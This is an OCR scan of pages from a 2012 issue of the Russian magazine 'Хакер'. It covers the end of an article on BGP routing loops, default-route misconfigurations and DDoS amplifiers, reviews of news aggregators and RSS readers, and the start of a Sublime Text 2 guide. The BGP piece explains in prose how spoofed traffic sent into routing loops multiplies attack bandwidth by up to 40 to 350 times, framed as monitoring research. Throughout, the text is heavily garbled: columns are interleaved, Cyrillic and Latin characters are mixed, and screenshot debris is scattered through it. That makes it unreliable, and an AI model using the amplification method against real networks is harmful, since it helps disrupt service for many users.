AS8928 АSЗЗОЗ AS4589 AS42708 AS6453
AS6730 AS31130 AS3491 AS3320 AS8218 АСЗЗ56-АСЗ549
AS286 AS702 AS3561 AS20764 AS31323 • Увеличение плеча DDoS в 8 раз
BGP циклы: 12 prefixes affected
AS20632 AS4766 AS680 AS29686 AS5089 •

Default route: 86 уязвимых префиксов


AS10026 AS12350 AS2516 AS3786 AS12741

AS7575 AS1916 AS2273 AS9498 AS1785

Рмс. 2 Рмс.З

ХАКЕР 1 1 /166/2012 033


COVERSTORY

ванное влияние не только на АС-источник, но и на соседние АС,


то есть более чем на 80% АС.
Беда часто не приходит одна. На рис. 3 рассмотрены два Тiег-1
провайдера из предыдущей таблицы. В случае Level3 было об­
наружено несколько усилителей DDoS-aтaк, один из которых по­ 30%
зволяет увеличить плечо в 17 раз, и 25 префиксов с неправильной -- ВGР цикnы
25%
настройкой default гoute. В сети Cogeпt картина выглядит похожей,
-- Default Routes
с той разницей, что также были зарегистрированы ВGР-циклы. 20%
Россия по сетевым аномалиям не идет впереди планеты всей. 15% -- Усипмтеnм DDoS
Ошибок в настройке default гoute у нас чуть больше. чем в среднем
по миру, усилителей DDoS-aтaк чуть меньше. При зтом среди них 10%
есть усилители, которые позволяют увеличить плечо атаки более
чем в десять раз. Стоит заметить. что ошибки на уровне настройки
мар шрутизаторов могу;r длиться месяцами, а возможно, и годами
!наш мониторинг начал работу только весной!. ВGР-циклы !рис. 41
куда более нестабильны, многие из них завершаются в течение
нескольких часов, н о в статистике м ы рассматриваем только те
циклы, которые длились больше получаса, уже оказав значитель­
ное влияние на доступность конечных ресурсов. При этом стоит отправить в данный цикл некоторый поток трафика, то реально
заметить, что мы видели циклы маршрутизации BGP, которые занимаемая им полоса увеличится в четыре раза. И к сожалению,
были стабильны в течение нескольких недель. зто не единственная проблема этих магистральных операторов.
С момента запуска нашего мониторинга общее количество В клиентских сетях ASX2 более 50 усилителей DDoS-aтaк, один
!рис. 51 обнаруженных сетевых аномалий возросло почти на 50%. из которых настолько щедр. что увеличивает плечо атаки более
Однако само число сетевых аномалий в каждый момент времени чем в 350 раз. В среднем мы получаем десятикратное увеличение.
оказалось величиной куда более стабильной: за восемь недель ее И если атакующий проставит в destiпatioп IP эти клиентские сети
рост составил около 10%. с уязвимостями, а в качестве souгce IР-адреса из блока 2.2.2.0/24,
то он получит увеличение плеча атаки в 40 раз. Ну а ботнетом, спо­
НОВЫ Е П РИКЛЮЧЕНИЯ Р ОБИН ГУДА собным сгенерировать пару гигабит в секунду, сегодня никого не
Мы попытались сделать свою легенду. Мы решили, что будем уди в и ш ь - что уж говорить о серверах. Что будет в итоге? Скорее
Роб ин Гудами, только для этого мы не будем грабить богатых. всего, произойдет исчерпание канала, ВGР-сессия порвется, что
И попытались оповещать АС о наличии проблем. Но, к сожалению, создаст волну перестроений ВGР-маршрутизации, которая, в свою
эффективность этого мероприятия оказалась куда ниже, чем мы очередь. вызовет динамические циклы BGP, а зто приведет к ча­
рассчитывали. Сетевые администраторы отказывались что-либо стичной недоступности абсолютно всех клиентских сетей. Видимо,
исправлять, даже если они анонсируют уязвимый префикс. В ответ только в этот момент техподдержка начнет разбираться, что к чему.
на наши сообщения мы получали отписки из разряда «Да, мы анон­
сируем эту сеть. Проблема в сети нашего клиента, но мы ничего КАКИЕ ВЫВОДЫ МОЖНО СДЕЛАТЬ?
сделать не можем. Но если он нарушает правила пользования, то, Выводы очень простые. Проблемы клиентских сетей - это про­
конечно, напишите нам еще один abuse гequest». К чему это при­ блемы владельца АС. Проблемы сетей его поставщиков - это
водит? Во-первых. если кто-то раньше думал. что атака на сетевом тоже проблемы владельца АС. Учитывайте. что сетевые аномалии
уровне выглядит как Звезда Смерти со злым гением внутри, то на зачастую не видны со стороны АС-источника. Отсюда огромное по­
самом деле она выглядит куда прозаичней. желание для операторов - проверяйте свою сеть. Дважды.
Создается впечатление, что, пока гром не грянет, большинство
латать сетевые уязвимости не будет. В качестве примера я рассмо­ Р. 5. Мы изучаем вопросы сетевых аномалий для прогнозирования
трел одну из таких АС с очень «любезной» техподдержкой !рис. 61. будущих угроз и векторов развития DDoS-aтaк. У нас есть готовая
Понятно. фамилии, имена изменены, но могу сказать, что система мониторинга, и мы готовы предоставлять информацию
дело происходит на уровне ядра сети АС. У них все хорошо. кроме о сетевых аномалиях бесплатно. Мы не можем просто публиковать
одного. На стыке между ними есть ошибка в настройке default эту информацию, поскольку данные могут быть использованы
гoute, причем стык трансконтинентальный, а зто приводит к тому, злоум ышленниками, но мы будем отвечать на запросы технических
что пакет живет в этом цикле до четырех секунд. Тем самым если и административных контактов АС, зарегистрированных в RIPE. ::Х:

16000 КлиентскиеАС
1,000
12000 . ...... . .
10000
• Обнаружено Мох • 350'0Do5
>50 ampllf•ers
8000
Mean • 10' DDoS
6000 • Исправлено
,000
2000

t
dst: apllflers
route
src: 2.2.2.1
Итого = I.O'DDoS

Рмс. 5
Рис.6

031. ХАКЕР 1 1 /166/2012


Preview 30 страни ц на одн о й полос е.
Тиз ер некоторых стате й .

PCZONE

INDIE GAME: THE STORY


36 Steam и другие nлатформы цифровой
дистрибуции игр nроизвели настоящую
революцию на рынке. Главное ее след­
ствие-теnерь проекты независимых
разработчиков могут выйти из тени более
дорогих тайтлов от именитых студи й и
издателей. И nримеров историй успеха
на этутему с каждым днем становится все
больше. Самое интересное. что nриду­
мать новый Minecraft и заработать тонны
нефти можешь и лично ты!
Разработке игр в этом номере nосвящен
отдельный материал в с<Кодинrе>>, а в
этой статье ты можешь узнать все о пу­
бликации. nродаже и nродвижении игр.
Причем рассказывать тебе будут самые
настоящие инди-раэрабы!

PCZONE X-MOBILE

• •
ПОЗ НАЕМ ДАО SUBLIME ТЕХТ2 ЛУЧШИЕ ИЭ ЛУЧWИХ САМЫЙ УМНЫЙ СМАРТФОН
Этоттекстовый редакторуверенно заво­ В новой рубрике о мобильных Учим андроидофон выnолнять любые.
евываетсразувсе десктоnные nлатформы устройствах мы были nросто обяэаны даже самые странные желания -с помо­
благодаря функциональности, настраи­ начать с обширногообзора must-have щью тулэы Taskeг и среды SL4A, nозволя­
ваемости и удобству. Пора разобраться nриложений для дndгоid и iOS на ющей автоматизироватьлюбые оnерации
в том, как его правильно готовить. каждый день. на любимом скриnтовом языке.

PHREAKING взлом MALWARE

11 •
КОФЕ С МАЛИНОЙ ВСКРЫТИЕ БОТНЕТА КОВЫРЯЕМ БPOHIOWINDOWS
Делаем интернет-кофеварку на базе Авторы инструмента Netzob любезно Продолжаем разговор о механизмах
любимый Raspberry Pi. Главное в зтом согласились рассказать о своем безоnасности Windows. На этот раз речь
деле-не nолучитьошибку 41 8. Это значит, детище и реверс-инжиринге пойдето с равнительно мало изученной
что ты nытаешься сваритькофе в чайнике. nротоколов обмена данных. системе контроле достуnа винды.

ХАКЕР 11 /166/2012 035


036
=:t
PCZONE Игорь Антонов (antonov.igor.khvragmail.coml

Информация - это сила, и с этим утверждением вряд ли поспоришь.


Кажды й день мы пропускаем через се б я мегаба й ты полезного контента,
разгребая в Google Readeг многочисленные подписки на л юбимые са й ты
и бло ги. П ротокол RSS вкупе с мощне й шим агрегатаром в лице Google
Readeг здорово в ы ручают, но в совреме н н ых реалиях их возможностей,
увы, не хватает. Хочется получать свежую информацию и при этом не
думать, есть ли у тебя подписка на соответствующи й поток. Р ешением
это й проблемы уже да вно озадачились многочис л е н н ы е разработчики,
и сегодня мы мо � ем сравнить и протестировать автоматизирова нных
кулинаров экзотическо й кухни с именем «Контент».

та е
с

ЗАП РАВЛЯЕМ
КОНТЕНТОМ
ПО ПОЛНОЙ

КАК М Ы О ЦЕНИВАЛИ СЕРВИ С Ы

Все рассмотренные в статье веб-сервисы мы оценивали по нескольким


критериям: свежесть на�денноrо контента, наличие контента на русском
языке, доступность приложений для iOS/Aпdroid, возможность пользо­
ваться сервисом через веб, интеграция с Google Reader и внешний вид.
Критерий <<Интересность контента» рассчитывался на основании матери­
а'лов, непосредственно связанных с ИТ. Параметр <<Свежесть материалов»
оценивалея на примере актуальности новостей. Зачастую сервисы пред­
лагали к чтению «свежие>> новости месячной давности.
Читаем с умом

КУЛИНАРЬI КОНТЕНТА
StumЫeUpon
stumЬieuDon.com

При вступлении в ряды стамблеров (пользователь сервиса StumЫeUpoпl требуется


выбрать одну или несколько категорий, характеризующих твои интересы. После
этого поиск свежего контента сведется к нажатию одной-единственной пимпы
«StumЬie!». Эффект подачи контента можно сравнить с переключением телевизи­
онных каналов. Один щелчо к - и загружается новая страница, соответствующая
интересам. указанным при регистрации. Весь контент StumЫeUpoп черпает в
первую очередь от самих пользователей сервиса. Пользователи смотрят/добавляют
.,_ _____ ,.,......,....,....... _.._ ..... ..
......-
контент, который впоследствии увидят другие серферы, и ставят ему оценки. Чем ...
t-.--
-.-
-.-....
....�
...... \ooo.
. .... .... - .. _ ". ____ ""'_
. .. "'"...... ........ ........ . ....._ ..,.....
c.Aool'tlw....
больше хороших оценок за материал, тем больше шансов, что именно эту страницу ..... .....
..... ...-{ ... �""" kloliflммttlм-1

увидит очередной стамблер.


д Horтifying Legend ls Born

Интереснасть контента: 7 Условия исnользования: Frt!e/Paid Фильтрация контент а: Нет Эксnорт материалов: Да

Свежесть материалов: 8 Наличие тегов: Нет Подключение своих RSS: Нет

. �-.
н ••
• ' • • а :i;l3
Prismatic
geiQГ!SrnatiC,com

·-
а�. т....-
...,r -.
Сервис подбирает список категорий с интересами на основании Тwittег-аккаунта
uuntr_._
Know and ahow wha� you 101 .... ..... пользователя, а в дальнейшем генерирует подобие газеты с новостями по опре­
- -- �
деленной категории. Отобранные новости очищаются и заново переверстываются
.,._
М, ..М.,.IoooUfr. ].ff �""'­ ""'"""'--�-- - ... ......
__...t,9_ ......_ 1'7'0 _ ....
...,._,_ сервисом. Таким образом, все материалы отображаются в едином стиле. а зто
---
__ ,_
·-

llo.l/....-1
.
folooo..n. .ot.-\"'.o
1 vowProl;io здорово облегчает чтение (особенно на девайсах с небольшим дисплеем!.
���··.:::::.:=-.=...
Одна из приятных особенностей сервиса - возможность мгновенной фильтра­
ции записей. Достаточно кликнуть по любому пункту из предлагаемых тематиче­
ских категорий, как сразу же произойдет новая выборка и обновлений ленты.
МYDIGIPASS.COM • Convenlenc • sкure lo&ln for your
ra,..orttewtbsltet Pгismatic проиндексировал мой тви-акк и, в принципе, приготовил для меня
-- - блюдо из правильного контента. Я пишу в твиттер больше всего на связанные с
!"'-�--.... -- 1Т темы, позтому сервис подобрал мне материалы, связанные с этой областью.

Интереснасть контента: 6 Условия использования: Free Фильтрация контент а: Да Эксnорт материалов:Да


Свежесть материалов: 7 Наличие тегов: Нет Подключение своих RSS: Да

Pulse

Любителям всего красивого и изящного однозначно придется по душе новостной


а грегатор Pulse. Сразу после регистрации аккаунта тебе предлагают выбрать
одну или несколько новостных категорий. Когда ты определишься с выбором,
Pulse начнет формировать список свежих топи ков. Все найденные посты акку­
ратненько выстраиваются в виде маленьких плиточек, после клика п о которым
открывается окно с просмотром текста. Все заметки очищаются от лишней
шелухи и предстают в максимально удобном для чтения виде.
Свежие материалы сервис находит без проблем, а вот интересность контента
подкачала. Может, мне не повезло, но практически весь контент затрагивал так
или иначе лишь новости с популярных ресурсов. Тех нические статьи попадались
крайне редко. С языком опять же напряг- весь контент только на английском.

Интереснасть контент а: 4 Условия использования: Free Фильтрация контента: Да Экспорт материалов: Да


Свежесть материалов: 8 Наличие тегов: Нет Подключение своих RSS: Да

ХАКЕР 11 /166/2012
PCZONE

Surfingblrd
suгf1ngb•гd г_v

SuгfingЬiгd - это наш ответ StumЫeUpon. Идея сервисов абсолютно одинако­


в а я - регистрируешься, выбираешь категории интересов. Ну а когда nрибьет
nристуn скукоты, начинаешь кликать no кноnке «Серф», дабы nолучить очеред­
ную nорцию новых и якобы nолезных материалов.
Каждый материал nодвергается оценке nользователей, и, собственно говоря,
количество nоложительных оценок решает его дальнейшую судьбу. Сервис nод­
держивает возможность комментирования и эксnорта nонравившихся ссылок.
Теnерь пару слов о качестве работы. Suгfingblгd работает хорошо, и nоnадаются
действительно веселые и nолезные материалы, но это относится к развлека­
тельным категориям. Я сnециально nротестировал разделы <<Программирова­
ние», <<Комnьютеры>>, и -результат меня огорчил. Статьи и новости nоnадались
устаревшие. Если для статей зто еще можно nростить !информация актуальна
долгое время!, но вот читать новости двух-трехмесячной давности как-то не ай с.

Интереснасть контента: 6 Условия исnользования: Frte Фильтрация контента: Да Эксnорт материалов: да


Свежесть материалов: 8 Наличие тегов: Нет Подключение своих RSS: Да

Google Currents
https://gocom/pгoduceг�
ogle
Гytll08ll y�no
......,
... Корnорация добра не могла остаться в стороне и заnустила свой сервис агре­
гации новостей в <<журнальном стиле>>. Реализация nолучилась достаточно
усnешной и чем-то nохожей на тот же Pulse. В Гугле не изобретать новый интер­
фейс. Он хорош, но выглядит стандартно для такого рода nриложений. Зато они
ТI "КОIIКОМОАЫ•.•
nоnытались разнообразить nредложения в nлане контента.
Библиотека категорий достаточно большая, и в ней каждый может найти
интересные для себя темы. Тот, кто не хочет читать рекомендуемые материалы,
всегда может nодключить свои фиды !есть синхронизация с Google Readeгl и
наслаждаться удобством чтения контента иэ любимых источников. Сервис за­
ботится, чтобы nользователь nолучал максимально свежий контент. По качеству
отбора материала тоже можно nоставить небольшой nлюсик. На !Т-тематику GC
nодбирал как хорошие новости, так и материалы из крупнейших !Т-nорталов.

Интереснасть контента: 9 Условия использования: Free Фильтрация контента: д� Экспорт материалов: Да


Свежесть материалов: 9 Наличие тегов: Нет Подключение своих RSS: Да

Flipboard lil Techпology Q.

Free apps account for 89 percent of total moblle


flшboaгd.com

downloads in 2012
� :::-.:= .....
Ребята из Flipboaгd не страдают отсутствием креатива и nодошли максимально
ответственно к созданию своего nриложения. Перед нами все та же идея !тема
контента -+ контентl, но реализация сделана нестандартно. Flipboaгd аккурат­
�IIIJO.. ....... •O\"the
ненько собирает все новости и верстает из них настоящий журнал. nm fC"W )"N.rs. thlt fi&ur. Wl .t)•
lf'O'I'', Ыttlna 93 �t ni 2016.
Несомненно, радует, что Flipboaгd не огранич ивается синхронизацией с МоЬI"' uRrs are increa•lnaly
Google Readeг. К нему также легко можно nрисоединить свой Тwittег-аккаунт, и downkмadln.к fm appt. а new яud)·
from r�•earch firm Ganner ha1
он сверстает журнал из т вито в. Причем в качестве текстов будут не только т ви­ foond.
ТМ ('()IЩ)ilny announciO tod.ay
ты, но и материал, ссылка на который есть в таите. Точно такой же трюк можно that 45-6 ЫШоn IPJWI "iJI Ье dtw."'·
nровернуть со своими аккаунтами во многих других nоnулярных сервисах. Ьaded WOI'icf'\o\idfo in 2012.. Out о(
that, • whoppins 89 pnwnt.. or .щ.6
Нашей страны nока нет в сnиске nоддерживаемых, nозтому новостей и Ьlllion, will Ье free apps. ТЬе
mnainiu�t 5 ЫШоn wШ Ьr �-n­
статей на русском от сервиса ждать не стоит. По качеству nодбора материала на kJ,adfll. aftet wen purc� thtm.
английском Flipboaгd вnолне можно nриравнять к Google Media. L.ast >�•r. f� �� ��ted (or

Интереснасть контента: 9 Условия исnользования: Fret Фильтрация контента: Да Экспорт материалов: Да


Свежесть материалов: 9 Наличие тегов: Нет Подключение своих RSS: Да

ХАКЕР 11 /166/2012
Читаем с у м о м

Zite
ШИ2.ш Home PROGRЛM;\\ING � Sections

Если Flipboaгd радует своим красивым журнальным видом, то разработчи­ Тhе SLowdown PhpStonn Lkensing
ков Zite стоит поблагодарить за общую концеnцию хорошо nродуманного
Лn\ Ьu�,.,...�.. �•••у (rom!>"'n� and �J,_.,.eiOnJ.
nользовательского интерфейса. Сразу nосле заnуска nриложения nредлага ­ tntlu.Jtn�t non-pn,f•t •nd pt"П\me'nt)

ется выбор аккаунтое ITwitteг, Pocket, Google Readeг. FBI. с которыми можно
l'n\,1\o• tndt\ кlu•l' u._.nJt tho."lr oo.n /unJ1o fflf
синхронизироваться и nостроить так называемое дерево интересов. Надо . l'l'f'oOf\oll l�-.. purd\.I,;N Of" rctmЬur-.N
...
purch.._
Ь\ .1\.llmp.lll)l ..«"ll"•lh1
сказать, что nроисходит этот nроцесс достаточно быстро. После nостроения
дерева начинается подбор и <<верстка>> материалов.
Подбирает материал сервис качественно. Я уже говорил, что nишу и
читаю е основном на технические темы, и nредложенные материалы как
раз соответствовали тематике. Претензий к свежести контента также н е
было: ноеости колебал'tсь между вчерашним-nозавчерашним днем, что, LNm Progr3nvning �riously
е общем-то, неnлохо. Жаль только, что Zite так и н е смог nредложить мне 1'ho- mo�rt.�lltiJt l1r11t nYNgrd thto "'� Р"_.М' ol
Ч'\�'f.II �·Nnl...�. .m d � .I Lnt\.ldmtn 'IICL l'rogrмnnunl'o 1� not• nww 'uьt«'' un '"" pufPO""'!
хоть килобайт текста на родном языке. Все материалы сугубо н а языке twd 'Pffl' thc- � d«-.мk runni� hr.:�vo. ttr-ux ui pro,.г.1m1Nn,: '' tu cn-.JW' о1 - ol m..,.ПJ(1.._ 1�
"("nt'roo 1t1 d'W' Ь..�•ПJ, 1ndU!olt) lt"''t'mt'd ы,". • Н'Т\ tornput"' � to J'{'l"fonn �profк opc"IIIIIJI\!o. 01" t•l
Шексnира, и nоелиять на это никак нельзя.
t>>.htbll d('ootA.'d Ь..-h.a•IOI"\". l'ro,.:ro�mmmj; Ln foiCt 1�
mo'"' tlun tht> .Jm� undt'f"'to�ndinr; nn �· ,,.,
� 1� ln!>tfU(IION on """n:r axk, tlwno
А � WlfY to Вuild WеЬ Apps �-no�t �.. .aп-o�n� on tho.' ..UUn-e t�. •
.. ltb • ••·t•bl u�ln& rontinu.atJOrЬ on ПJ\Н
.,.,,t.:m..'I"'L

Интереснасть контента: 8 Условия использования: Free Фильтрация контента: Да Экспорт материалов: Да


Свежесть материалов: 10 Нали"4ие тегов: Да Подключение своих RSS: Нет

KpiiПJIIII Пр-н

StumЫeUpon Prismatic Pulse Suгfingblrd Google Media Fllpboard Zite

Интерес н ость конте нта 7/10 6/10 4/10 6/10 9/10 9/10 8/10
Свежесть материалов 8/10 7/10 8/10 6/10 9/10 9/10 10/10
Наличие тегов Нет Нет Нет Нет Нет Нет Да
Филырация контента Нет Да Да Да Да Да Да
Подключение сеоих RSS Нет Да Да Да Да Да Нет
Эксnорт материалое Да Да Да Да Да Да Да
Мобильноеnриложение Да Да Да Да Да Да Да
Материалы на русском Мало Нет Нет Много Средне Нет Нет

THERE'S NO SCHOOL LIKE ТН Е OLD SCHOOL

Из-эа новых nриложений традиционные RSS-сервисы у ш л и


в т ен ь , но nолностью забыты не были. Продви нутой аль­
тернативой является NewsЬiuг (newsЬiuг.com l. его можно
nосоветовать людям, которые очень серьезно относятся
к мониторингу и нтернета (но много ли таких?). Сильные сто­
роны - очень оnеративный рефреш лент, самообучающаяся
система фильтраци и , возможность nросмотра оригинальной
страницы статьи nрямо внутри NewsЬiuг.
Также можно nоднять и собственный ссридер» на серве­
nроект TinyTinyRSS [11:llUJ:g),
р е - для этого есть свободный
но посоветовать его можно только тем, кому нужен к акой-то
очень специфический механизм фильтрации контент а.
Более nодробно говорить об альтернативах Google
Readeгне имеет смысла - остаются л и ш ь очень нишевые
решения.

ХАКЕР 11 /166/2012
PCZONE

RSS-ЧИТАЛКИ ДЛЯ ДЕСКТОПА


FeedDemon
feeddemon.com

Под Windows наnисано очень много всевозможных RSS-агрегаторов, но одним ----- --


--- ---- -------
-

из наиболее nродвинутых уже давно является FeedDemon. Программа достуnна -


-
-·---
-
-----------

в нескольких версиях IStandaгt и Ргоl. Главное отличие nлатной версии от бес­ :::=.::-
....�
..=- ==--------
nлатной - наличие рекламы. Поддержка синхронизации с Google Readeг nри­ -
------------
-----
-
сутствует. Интерфейс nрограммы слишком устарел !все наnоминает Windows XPI. ---------·-
...___________ -------
Из интересных воэможН'Остей стоит также выделить возможность nрисвоения -------- -
----·-·- --·�---
тегов для nостов. Очень nорадовало наличие встроенного брауэера !на движке
_____ _____ .., ______ __
_ _____
------·---·

IEI с табами, а также возможность чтения загруженных материалов offline. Без


---·-----
---------·--·--·-
огорчений также не обошлось. Никаких намеков на гeadaЬility, суnеркрасивого
форматирования текстов эдесь нет. Как, вnрочем, нет и связи с nоnулярными ----- ---- -·--
-----

сервисами. Складывается ощущение, что nрограмма застряла в nрошлом. ------ --


-..---- ·-----------
Резюме: Неnлохая читалка в функциональном nлане, но намертво застряв­
шая в nрошлом из-за интерфейса. Наnоминает старый MS Outlook.

Условия расnространения: Shaгewaгe/Fгee Основная nлатформа: Windows Версия для других nлатформ: Нет

NetNewsWire
netnewsw1reapp. com
• • o.oot f- - · -­

· -­
-.-.... .._..... _,_.t. 1 1 /'t ..... The Ma.calop•
'" •""" IIIWt _ M ....,. IOM.W
-- of the Year NetNewsWiгe больше nохож на тиnичные офисные n р иложения вроде MS Outlook.
. O.. 'f--'1'-- .... · -- ­ Из функцианала у NetNewsWiгe на борту тиnичный набор для nрограмм такого
"... o-o oo.-w. .....-
· -�-- ... - -
•tt-
a� n..w
.
.. .,_.. ...... 'f_ 1_
_ .. типа: синхронизация с Google Readeг, самостоятельная работа, сохранение nо­
· - - ,......
стов в lnstapapeг и так далее. Основная изюминка NetNewsWiгe - nоддержка
. ,. "..... ...... _,......
. ....'Oooo
.. � ...... lllt-
языка сценариев AppleScгipt. Понадобится такая фишка только самым nродви­
• 10 -... C..._ ....._ _ ..... .. IIWIII III
. ..... _........,_ ".. .....,.. llt (8111
нутым nользователям !коим ты и являешься), но она открывает nоистине без­
. u.- _ .. .... .....__ , .. ..... !а. .... ...
. ...... ,." .. - - ... � - � 100 ..
граничные возможности. Огорчает, что, несмотря на крутую функциональность, у
_ _ ,....,. ..._. _ ,.. .,
. ...... Sl- ltl8
...... .. . " . NetNewsWiгe отсутствует nоддержка чтения в уnрощенной форме.
. -. .. ...... 1 1 - NII p(llfC 1М
е­ Резюме: Скромный интерфейс и nоддержка AppleScгipt однозначно nонра­
-

. ...
м "- .._.. ..
"_ • " ..... .".. , Jt.М _ �. ......
вится матерым гикам .
е т--... .. � .. ....-...
...._

·-- ..

- ..., - - ... -
<- ...,. _ _ _ w
.-llllal--.c-1..-.,IM�M�

Условия расnространения: Shaгewaгe/Fгee Основная nлатформа: Мас ОS Версия для других nлатформ: iOS

Liferea ....,.
_ _ _ _ _ _

lifeгea.souгcefoгge net -� _...:..._ _ ...:.,. .._ ..! .. _..__ �


- -� -- - --
_.. w____ _

Lifeгea - по nрежнему самый зрелый RSS-агрегатор для Linux. Поддержи­ .


--· . ·-·
..... .., ... - --..... -­
·-- ·.... ll - 11>11- -- -... с---. ---·-
вается интеграция с Google Readeг и ТinyTinyRSS, но есть и возможность ·-­ 11_.__ _ .._ _ .. __

1.1 -··-------.--- -�-��-­


___ ,..
работать в автономном режиме, без nривязки к какому-либо веб-сервису. При ·- - ....
,_-�-----
· -- -
желании оформление статей можно изменить с nомощью CSS. К сожалению, , __ щ
·-tol
клиент н е nоддерживает привычных функций вроде nубликации статей в ·-· •-101 _,."...___ .......____ .,. "_____,_.. ,__
""" "'"--"'"""'_
:.::-
.:::;:-":;.
.. ...:�: �=--
_....,..,_,._.. ..... ...__ ...__
· -- ··- ­ .. --.--........ ..._.....
социальных сетях и сервисах закладок - для этого стоит обратить внимание ._ _ ... _ 1» .... ---- ·--- �...- _ , _ ..,_____ ... _,__

на совсем новый и менее отточенный клиент LightRead lht tps:l/laynchpad netl =-==-.::.=.::-..-�.:.:::.::::----..--·-­
====-:=�=--...:..-:.::.::'"'..:--:::: ::
�-·-..,...
:._ ...,..
�1.
.._._,,.
·--··
·-····
Резюме: Ставший живой классикой RSS-агрегатор для Linux, альтернатив · - ��··
� - - ""'
которому, по сути, и нет.
_

Условия расnространения: Open Souгce Основная nлатформа: Linux/BSD Версия для других nлатформ: Нет

ХАКЕР 11 /166/2012
Читаем с умом

Попеэные расwирения дпя браузеров


Современные веб-страницы - это не только полезный м ценный контент, но еще туева куча режущей глаэ рекламы. Бывает, попадаеwь на
какой-то блог м вроде все xopowo: темы заметок wикарные, стиль изложения автора оставляет приятные впечатления, но читатьтекст невоз­
можно. Автор либо перемудрил с отступами, что заставляет глаэа быть в постоянном напряжении, либо реwил заработать м раскрасил свои по­
сты больwими рекламными картинками/ссылками и так далее. Чтобы как-то сгладить проблему, мудрые разработчики придумали специальные
расwмрения для браузеров. Они ловко вычищают весь мусор м предоставляют контент в наиболее выгодном свете.

Safari Firefox
Маководам !теперь Safaгi будет доступен только для Мае 051 не­ Расширение Cleaгly доступно как для Fiгefox, так и для Google
слыханно повезло - все необходимое они nолучают сразу nосле Chгome. Главная функци я - очистка страницы от лишнего
'
установки браузера. При заходе на любую страницу, содержащую мусора. С этой задачей Cleaгly сnравляется хорошо, и на nроте­
статью/заметку !одним словом, объемный текст!, в строке ввода стированных мной страницах каких-либо nроблем замечено не
адреса nоявляется кноnка <<Read». Одно нажатие - и всnлывает было. Среди других nолезных функций - возможность сох ране­
окошко, в котором мы видим хорошо отформатированный текст ния очищенной заметки прямо в Eveгnote. А вот с возможностью
страницы на белом фоне. Расширение любезно вырезает лишние публикации ссылок в сацсети nроблема. Такой возможности
картинки !наnример, рекламу! и оставляет только изображения, поnросту нет.
неnосредственно относящиеся к основному тексту.

_ .,... •. .-�- - ···

--
-- ---- --

·
-
-
-------
-
------------- -
--
-
-
- -- -
---·-----.-.--
--- - --- - -

-- -------·---
-

-- - --
- -

· -·-------­
----·------
-
- --
----
--- -- ---
--
--
----·-----·
-

-----------

·------­
--------·
_____________...
-
- ----- -

� �-=�:-=-�=-=-=--=-
---
------
______________
------- -- -
--- -
-- -

__ ..
, . . . . .. . . .

::-�=::--- - -·
.

.. .. .. .. .. .. .. ..

-���;.:.:
-
-- ---- ... - ------ -
---- --- --- -
- --
- --
-
- -

-------------··
---- --
-
- --

------ --- - -- ·--- ·


-- -..---- --- -
- -- -----
-·--
-
-
-- ----

- -- ---- --------

- ---------·--·-·
----------�
===--===---=-- ----

Opera Google Chrome


Исnользуй CleanPages. Несмотря на небольшую nоnулярность, Подойдет i Readeг. Великолеnное расширение, скоnированное с
браузер Орега не обделен вниманием. Функционал расширения Readeг для Safaгi. Расширение вырезает со страницы все лишнее и
значительно беднее !не жди от него красивсетей вроде всnлываю· оставляет только nолезный для чтения ко нтент. Правда. стоит за ·
щих окон!, чем для Chгome и Fiгefox, но с задачей очистки страни­ метить, что в отличие от оригинала !соответствующая возможность
цы от .мусора сnравляется хорошо. На выходе nолучается страница, в Safaгil iReadeг работает во многих случаях лучше. Со страницами,
оnтимизированная для чтения и печати. которые не распознал Readeг, nрекрасно сnравился i Readeг. Кроме
того, iReadeг nозволяет расшарить nонравившийся материал в
Twitteг, Facebook и Flickг.

ХАКЕР 1 1 /166/2012
PCZONE Илья Муравьев

ПОЭНАЕ О
Sublime Text 2
П РЕВРАЩАЕМ ПОПУЛЯРН ЫЙ РЕДАКТОР
В JQUERY-KOM&AЙ H С ПОМОЩЬ Ю МОДУЛЕЙ
S u Ы i m e Text л юбят м н о г ие. Д аже флудеры с ха ­ З НАКОМИМСЯ С SUBLIME ТЕХТ 2
бра положительно отзываются об этом про гра м­ SuЬiime Text 2 не нуждается в особом nредставлении. Сегодня он
считается едва ли не самым nродвинутым мультиnлатфо рменным
м ер ек а м редакто р е ! Одн а ко поступ а ют н а него редактором. Область его nрименения -от pla in text до Ruby, Python
и жа лоб ы - на п р и м ер, на то, что в не м нет п р и ­ и десятков других языков. В N2 154 за 2011 год твоего любимого жур­
нала уже был nодробный обзор с оnисанием всех ключевых фич, так
в ы ч н о го о к н а настроек, удобно й установки рас­ что эту тему я умышленно nроnускаю. Сейчас цель несколько иная ­
ш и р е н и й , и это н а п р о ч ь отб ивае т жела н и е с н и м nрисnоеобить его nод конкретные задачи.
Для дальнейшей nреnарации nонадобится nоследняя версия

'71ОЖНО за точи ть под любую область р а з работки.


знако м и ться. Н а са мом деле это не так: редактор редактора, скачиваем ее с официального сайта nрограммы

Я пок ажу, как п р осто и удо бно устроен SuЫime


www.suЬ11metext.com. За 59 долларов ты можешь nриобрести лицен­
зию для SuЬiime Text ISTI, но никаких функциональных ограничений
в бесnлатной версии нет. Единственный негатив - наnомина-
Text , н а п р и м е р е jQuегу-коди н га. ние, изредка маячащее на горизонте окна nрограммы, и nометка
UNREGISTERED в заголовке.

оц ХАКЕР 11 /166/2012
Познаем Да о SuЫime Text 2

Кроме того, доступна рогtаЫе-версия. Она будет полезна, если SUBLIME PACKAGE CONTROL ­
ты планируешь перенести редактор на флешку или на другую рабо­ НАРАЩ ИВАЕМ ФУНК Ц ИОНАЛ
чую машину. В принципе, это даже более удобный вариант стацио­ Все расширения в SuЫime Text именуются Packages. Сюда
нарной установки, так как все файлы будут собраны в одной папке, входят и функциональные модули, и темы оформления. Можно
а не разбросаны по системе. Все описываемые далее настройки по старинке устанавливать дополнения вручную, через меню
будут равно применимы ко всем свежим сборкам под win, за исклю­ «Pгefeгences _, Bгowse pac kages•• и копируя пакеты в "Documents
чением минимальных различий в файловых путях. and Settings\nanкa пользователя\Аррliсаtiоп Data\SuЫime Text 2\
Packages" I"Data\Packages" в рогtаЫе-версии). Но эа нас это кра­
ТЯЖЕЛО В УЧЕНИИ , Л Е Г КО В БОЮ сиво сделает пакетный менеджер SuЫime Package Contгoi iSPC).
Перед тем как начать наращивать функционал SuЫime Text, обратим Суть в том, что он скачивает расширения с репозитория, а также
внимание на одну особенность русской души - желание освоить GitHub, BitBucket и с JSОN-репозиториев, которые ты опреде­
методом научного ты ка любое свойство, явление или вещь. Так вот: лишь сам. М ы обращаемся к нему через консоль редактора, лишь
к сожалению, с ST этот трюк не проходит. указывая название пакета из списка. Зайди на IS.gd/SsoWAS, и ты
